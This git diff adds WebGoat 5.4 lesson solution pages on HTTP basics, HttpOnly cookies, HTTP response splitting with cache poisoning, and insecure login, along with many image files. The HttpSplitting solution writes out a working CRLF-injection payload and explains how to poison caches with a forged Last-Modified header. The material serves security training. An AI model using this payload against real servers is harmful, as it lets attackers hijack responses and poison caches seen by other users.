Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png
new file mode 100644
index 000000000..4e0f0026e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg
new file mode 100644
index 000000000..5c887a646
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg
new file mode 100644
index 000000000..80456d498
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg
new file mode 100644
index 000000000..38b875113
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg
new file mode 100644
index 000000000..3a8f380ac
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg
new file mode 100644
index 000000000..a9d131b57
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics.html b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics.html
new file mode 100644
index 000000000..73bfee09b
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics.html
@@ -0,0 +1,602 @@
+
+
+
+
+
+
+
+Solution: Http Basics
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: Http
+Basics
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+presents the basics for understanding the transfer of data between the browser
+and the web application.
+
+Client Request: How HTTP works:
+
+
All HTTP transactions
+follow the same general format. Each client request and server response has
+three parts: the request or response line, a header section, and the entity
+body. The client initiates a transaction as follows:
+
+The client contacts the server and sends a document request
+
+
+ GET /index.html?param=value HTTP/1.0
+
+Next, the client sends optional header information to inform the server of its
+configuration and the document formats it will accept.
+
+ User-Agent: Mozilla/4.06 Accept: image/gif,
+image/jpeg, */*
+
+After sending the request and headers, the client may send additional data.
+This data is mostly used by CGI programs using the POST method.
+
+
+
+
General
+Goal(s):
+
+
Enter your
+name in the input field below and press "go" to submit. The server
+will accept the request, reverse the input, and display it back to the user,
+illustrating the basics of handling an HTTP request.
+
+The user should become familiar with the features of WebGoat by manipulating
+the above buttons to view hints and solution. We have to use WebScarab for the first time
+
+
+
+
Solution:
+
+
Add a Proxy on localhost in the settings of your browser. Then you can start WebScarab .We have to select "intercept request" in the tab "Intercept".
+
+
+
+
Figure 1 Intercept Request
+
+
+
+
Fill out your
+name and click the button Go! We get a new WebScarab window, where we can find the parameter person.
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml
new file mode 100644
index 000000000..2d81880c2
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png
new file mode 100644
index 000000000..783a404ed
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png
new file mode 100644
index 000000000..7d0a0830c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg
new file mode 100644
index 000000000..7b9b508a5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg
new file mode 100644
index 000000000..cb6599a1f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg
new file mode 100644
index 000000000..5abdf6f73
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg
new file mode 100644
index 000000000..982f3f7bc
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly.html b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly.html
new file mode 100644
index 000000000..173622596
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly.html
@@ -0,0 +1,863 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson Plan Title: HttpOnly Test
+
+
+
+
Concept / Topic To
+Teach:
+
+
+
+
To
+help mitigate the cross site scripting threat, Microsoft has introduced a new cookie
+attribute entitled 'HttpOnly.' If this flag is set, then the browser should not
+allow client-side script to access the cookie. Since the attribute is
+relatively new, several browsers neglect to handle the new attribute properly.
+
+
+
+
General Goal(s):
+
+
The
+purpose of this lesson is to test whether your browser supports the HTTPOnly
+cookie flag. Note the value of the unique2u cookie. If your browser supports
+HTTPOnly, and you enable it for a cookie, client side code should NOT be able
+to read OR write to that cookie, but the browser can still send its value to
+the server. Some browsers only prevent client side read access, but don't
+prevent write access.
+
+
+
+
+
+
Figure 1 Lesson HTTPOnly Test
+
+
+
+
Solution:
+
+
+
+
HTTPOnly
+is not configured. When you click on "Read Cookie" you will get the following
+pop-up in JavaScript, displaying the cookies
+
+
+
+
+
+
Figure 2 All cookies
+
+
+
+
Select
+"Yes" to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in
+WebScarab.
+
+
+
+
+
+
Figure 3 HTTP Request
+
+
+
+
+
+
Figure 4 HTTP Response with HTTPOnly
+cookie
+
+
+
+
+
+
Click
+on "Read cookie". You will see the JSESSIONID which is not using HTTPOnly.
+
+
+
+
Figure 5 Only JSESSIONID
+
+
+
+
+
+
Figure 6 HTTPOnly Success
+
+
+
+
Click
+on “Write cookie” which again only shows the JSESSIONID cookie.
+
+
+
+
+
+
Figure 7 JSESSIONID cookie
+
+
+
+
+
+
Figure 8 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml
new file mode 100644
index 000000000..b6972bfed
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png
new file mode 100644
index 000000000..169190729
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png
new file mode 100644
index 000000000..597cc80eb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png
new file mode 100644
index 000000000..24e98dab8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png
new file mode 100644
index 000000000..6b5f8cb64
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png
new file mode 100644
index 000000000..443fc7029
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png
new file mode 100644
index 000000000..a378ec244
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png
new file mode 100644
index 000000000..98535fdfe
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg
new file mode 100644
index 000000000..efbe77300
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg
new file mode 100644
index 000000000..195c2529b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg
new file mode 100644
index 000000000..91d8d9c6d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg
new file mode 100644
index 000000000..adc7a901e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg
new file mode 100644
index 000000000..acfd921d1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg
new file mode 100644
index 000000000..4c564391a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg
new file mode 100644
index 000000000..56107235b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting.html b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting.html
new file mode 100644
index 000000000..68e0b687d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting.html
@@ -0,0 +1,1019 @@
+
+
+
+
+
+
+
+Solution: Http Splitting and Cache Poisoning
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform Http Splitting
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches how to perform HTTP Splitting attacks.
+
+
+
+
How the
+attacks works:
+
+
The attacker
+passes malicious code to the web server together with normal input. A victim
+application will not be checking for CR (carriage return, also given by %0d or
+\r) and LF (line feed, also given by %0a or \n)characters. These characters not
+only give attackers control of the remaining headers and body of the response
+the application intends to send, but also allows them to create additional
+responses entirely under their control.
+The effect of an HTTP Splitting attack is maximized when accompanied with a
+Cache Poisoning. The goal of Cache Poisoning attack is to poison the cache of
+the victim by fooling the cache to believe that the page hijacked using the
+HTTP splitting is a good one and it is indeed the server's copy.
+The attack happens using the HTTP Splitting attack plus adding the Last-Modified:
+header and setting it to a future date. This will force the browser to send If-Modified-Since
+request header, which gives the attacker the chance to intercept the server's
+reply and replace it with a '304 Not Modified' reply. A sample of a 304 response
+is:
+HTTP/1.1 304 Not Modified
+Date: Fri, 30 Dec 2005 17:32:47 GMT
+
+
+
+
General
+Goal(s):
+
+
+
+
+This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while
+stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.
+Enter a language for the system to search by. You will notice that the
+application is redirecting your request to another resource on the server. You
+should be able to use the CR (%0d) and LF (%0a) to exploit the attack. Your
+exercise should be to force the server to send a 200 OK. If the screen changed
+as an effect to your attack, just go back to the homepage and after stage 2 is
+exploited successfully you will find the green check in the left menu.
+
+
+
+
+
+
+
+
Solution:
+
+
+Please note that this solution is written for Windows. If you use Linux you have to alter it.
+Windows uses a CR and LF for new Line. Linux uses only LF.
+So all the %0d%0a have to be replaced by %0a if you are using Linux.
+
+
+
Because the
+input is not validated you can inject any HTTP syntax, carriage returns and
+line-feed you want.
+
+
+
+
Enter a
+language to examine what's going on. You do have WebScarab intercepting HTTP
+requests and responses?
+
+
+
+
+
+
Figure 1 Language en
+
+
+
+
Figure 2 HTTP Request
+
+
+
+
+
+
Figure 3 First HTTP Response
+
+
+
+
+
+
Figure 4 Second HTTP Request
+
+
+
+
Now inject
+for the language en%0d%0a%0d%0a%0d%0a
+
+
+
+
+
+
Figure 5 First HTTP Request
+
+
+
+
+
+
Figure 6 First HTTP Response
+
+
+
+
The
+Content-Length: 0 will tell the server that the first request is over.
+
+
A 200 OK
+message looks like this: HTTP/1.1 200 OK
+
+
+
+
Lets see what
+you can do with: foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Hacked
+J</html>
+
+
+
+
+
+
Figure 7 HTTP Splitting attack
+
+
+
+
+
+
Figure 8 HTTP Response
+
+
+
+
+
+
Figure 9 Second HTTP Request
+
+
+
+
+
+
Figure 10 Second HTTP Response
+
+
+
+
+
+
Figure 11 Hacked!
+
+
+
+
Hit the "Back"
+button of your browser.
+
+
+
+
+
+
Figure 12 Stage 1 completed
+
+
+
+
Now you know
+how to do HTTP Splitting. You can abuse this technique to do a cache poisoning
+attack.
+
+
+
+
Cache
+poisoning requires manipulating the Last-Modified header. This must be changed
+to a date in the future.
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml
new file mode 100644
index 000000000..8b4e1e66e
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml
@@ -0,0 +1,34 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png
new file mode 100644
index 000000000..a3cecc9aa
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png
new file mode 100644
index 000000000..d62c55ea3
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png
new file mode 100644
index 000000000..4168195ac
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png
new file mode 100644
index 000000000..d9f29ebed
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png
new file mode 100644
index 000000000..c75a97ac6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png
new file mode 100644
index 000000000..addd9bce4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png
new file mode 100644
index 000000000..4f70cbce7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png
new file mode 100644
index 000000000..08c036f4e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png
new file mode 100644
index 000000000..9dccc349f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png
new file mode 100644
index 000000000..17708a3d7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png
new file mode 100644
index 000000000..59bec4ece
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png
new file mode 100644
index 000000000..8887f463b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png
new file mode 100644
index 000000000..83279f010
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png
new file mode 100644
index 000000000..ac9b0590f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg
new file mode 100644
index 000000000..1f2923a0d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg
new file mode 100644
index 000000000..5c309829a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg
new file mode 100644
index 000000000..296995e6d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg
new file mode 100644
index 000000000..04b19c12d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg
new file mode 100644
index 000000000..1e20add5b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg
new file mode 100644
index 000000000..cc30af047
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg
new file mode 100644
index 000000000..0e01db1ea
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg
new file mode 100644
index 000000000..51964a9bb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg
new file mode 100644
index 000000000..9f8efcbb7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg
new file mode 100644
index 000000000..036e50e47
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg
new file mode 100644
index 000000000..81b54f365
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg
new file mode 100644
index 000000000..caf41923a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg
new file mode 100644
index 000000000..cd100cf63
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg
new file mode 100644
index 000000000..9a48ce5a4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin.html b/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin.html
new file mode 100644
index 000000000..c9abe281d
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin.html
@@ -0,0 +1,61 @@
+
+
+
+
+Insecure Login
+
+
+
+
Lesson Plan Title:Insecure Login
+
+
Concept / Topic To Teach:
+Sensitive data should never sent in plaintext!
+Often applications switch to a secure connection after the authorization.
+An attacker could just sniff the login and use the gathered information
+to break into an account. A good webapplication always takes care of
+encrypting sensitive data.
+
+
+
General Goal(s):
+See how easy it is to sniff a password in plaintext.
+Understand the advantages of encrypting the login data!
+
+
+Solution:
+
